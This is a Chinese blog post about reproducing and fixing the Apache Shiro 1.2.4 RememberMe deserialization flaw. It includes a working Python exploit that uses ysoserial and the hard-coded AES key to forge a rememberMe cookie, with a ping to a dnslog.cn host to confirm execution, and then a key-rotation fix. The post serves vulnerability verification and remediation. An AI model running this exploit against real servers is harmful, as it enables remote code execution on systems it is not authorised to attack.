前言
一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄
我根据客户给出的安全厂商反馈的问题,总结如下:
1,Shiro反序列化漏洞
2,提到了dnslog.cn平台
了解Shiro反序列化漏洞
参考官方的JIRA文档记录,https://issues.apache.org/jira/browse/SHIRO-550
原因是Shiro的RememberMe出的问题
官方也给出了问题的描述
大概的意思就是:Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,继续看,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer
类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令,危害很大很大滴。
dnslog.cn的作用
经过查询,这个网站是一个用来检测带外流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。简单说,我自己的理解是一个安全人员的工具,收集一些测试过程中DNS查询、NS查询的日志信息,这里我们用来远程执行命令,比如pingXXX.dnslog.cn,然后再去dnslog.cn看看是否是通过服务ping到了他,如果有,证明远程执行了命令
漏洞模拟利用
大概知道了漏洞的原因和利用方式,接下来找到shiro的项目进行模拟攻击,攻击的过程大概就是:
- 启动存在Shiro问题的项目工程,网上有现成的
- 利用网上写好的Exp工具,漏洞从服务端执行ping命令,ping dnslog地址,看看其是否能收集到信息
搭建Shiro环境
下载有问题的Shiro项目,有人已经做好了,是一个dockerimage,https://github.com/Medicean/VulApps/tree/master/s/shiro/1,搭建完docker环境之后,由于需要解决问题,为了方便我把war拷贝到我本地机器,通过Tomcat运行。
准备测试工具
网上有很多写的现成的利用工具,基本都是Python的,我的环境是win10,已经有python3环境了,没有的自行安装一下,首先安装第三方库:
pip install requests
pip install Crypto
安装完了Crypto之后也会报错,找不到模块,上网搜了一下发现这个库停更了挺长时间了,改用pycryptodome,
pip installpycryptodome
库安装好之后,在晚上找一个EXP工具的代码,代码如下:
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
print (payload)
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print (r.text)
except Exception:
pass
return False
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
poc('http://localhost:8080', 'ping d0nenv.dnslog.cn')
以上代码,需要知道几个问题
- DESkey的值,这就是上面所说硬编码的值,需要跟Shirojar包里的Key对应好
- 执行jar命令的参数CommonsCollections2,此时我们Shiro中的Common-Collections的版本是4.0,对应使用CommonsCollections2的参数
- 还有就是代码最下方,Shiro项目的访问地址,和后面执行的命令,pingdnslog的命令。
然后打开dnslog.cn,如下操作,点击Get SubDomain,对应写好上面的ping命令,一会要用到。
然后在VSCode里新建python文件,复制上面的代码,然后把代码里用到的jar包下载下来,重命名放到跟python代码同一级目录中
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
模拟测试
启动Shiro的工程,访问地址http://localhost:8080,此时代码是有问题的,运行EXP工具测试,刷新dnslog
如上图,命令已经执行了(有一条查询结果),说明漏洞确实存在的。
修复漏洞问题
上述问题,其实只要解决了硬编码的DESKey值就可以了,找了一下网上说的解决办法,总结如下几种:
1,升级shiro,我这边情况项目比较老,升级依赖导致的问题解决起来比较麻烦,不采用此种方式
2,修改Key的编码,修改Shiro源代码AbstractRememberMeManager中的Key值,然后替换到jar包里,不公开
生成新的Key编码,可以用下面的方法:
import org.apache.shiro.codec.Base64;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;
public class Test {
public static void main(String[] args) {
KeyGenerator keygen = null;
try {
keygen = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
SecretKey deskey = keygen.generateKey();
System.out.println(Base64.encodeToString(deskey.getEncoded()));
}
}
3,生成随机编码,在Shiro配置文件中把SecurityManage加入rememberMeManager的配置,然后调用生成Key值得方法,随机生成,可参考文章(https://blog.csdn.net/weixin_38307489/article/details/104618667)的做法,建议才采用这种。
我采用的是方法2,这里说一下具体的做法,首先下载Shiro的源代码,根据你用的版本来下载:
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
下载后,找到源代码地址在core目录下找到AbstractRememberMeManager,用上面的代码main方法直接生成新的值,修改为新值,如下图
改完之后,找到Shiro源码的POM文件,执行mvnpackage -DskipTests打包,找到打好的class文件,替换到程序目录下的lib文件中。
然后启动服务,测试一下,问题解决 ~~
遇到的问题
1,Maven buildshirojar包的时候,报了一个toolchain的问题,原因是我的Maven安装目录下,conf/toolchains.xml里没有配置,但是POM文件用到了,根据情况可以修改成:
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
</configuration>
</toolchain>
2,关于Payload的概念
维基百科释义
在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。
信头与元数据,或称为开销数据,仅用于辅助数据传输。
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
简单说,Payload就是对于接收者有用的数据。
参考资料:
https://blog.csdn.net/weixin_38307489/article/details/104618667
https://paper.seebug.org/shiro-rememberme-1-2-4/文章来源:https://www.toymoban.com/news/detail-500793.html
https://issues.apache.org/jira/browse/SHIRO-550文章来源地址https://www.toymoban.com/news/detail-500793.html
到了这里,关于Apache Shiro反序列化漏洞研究及解决方法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!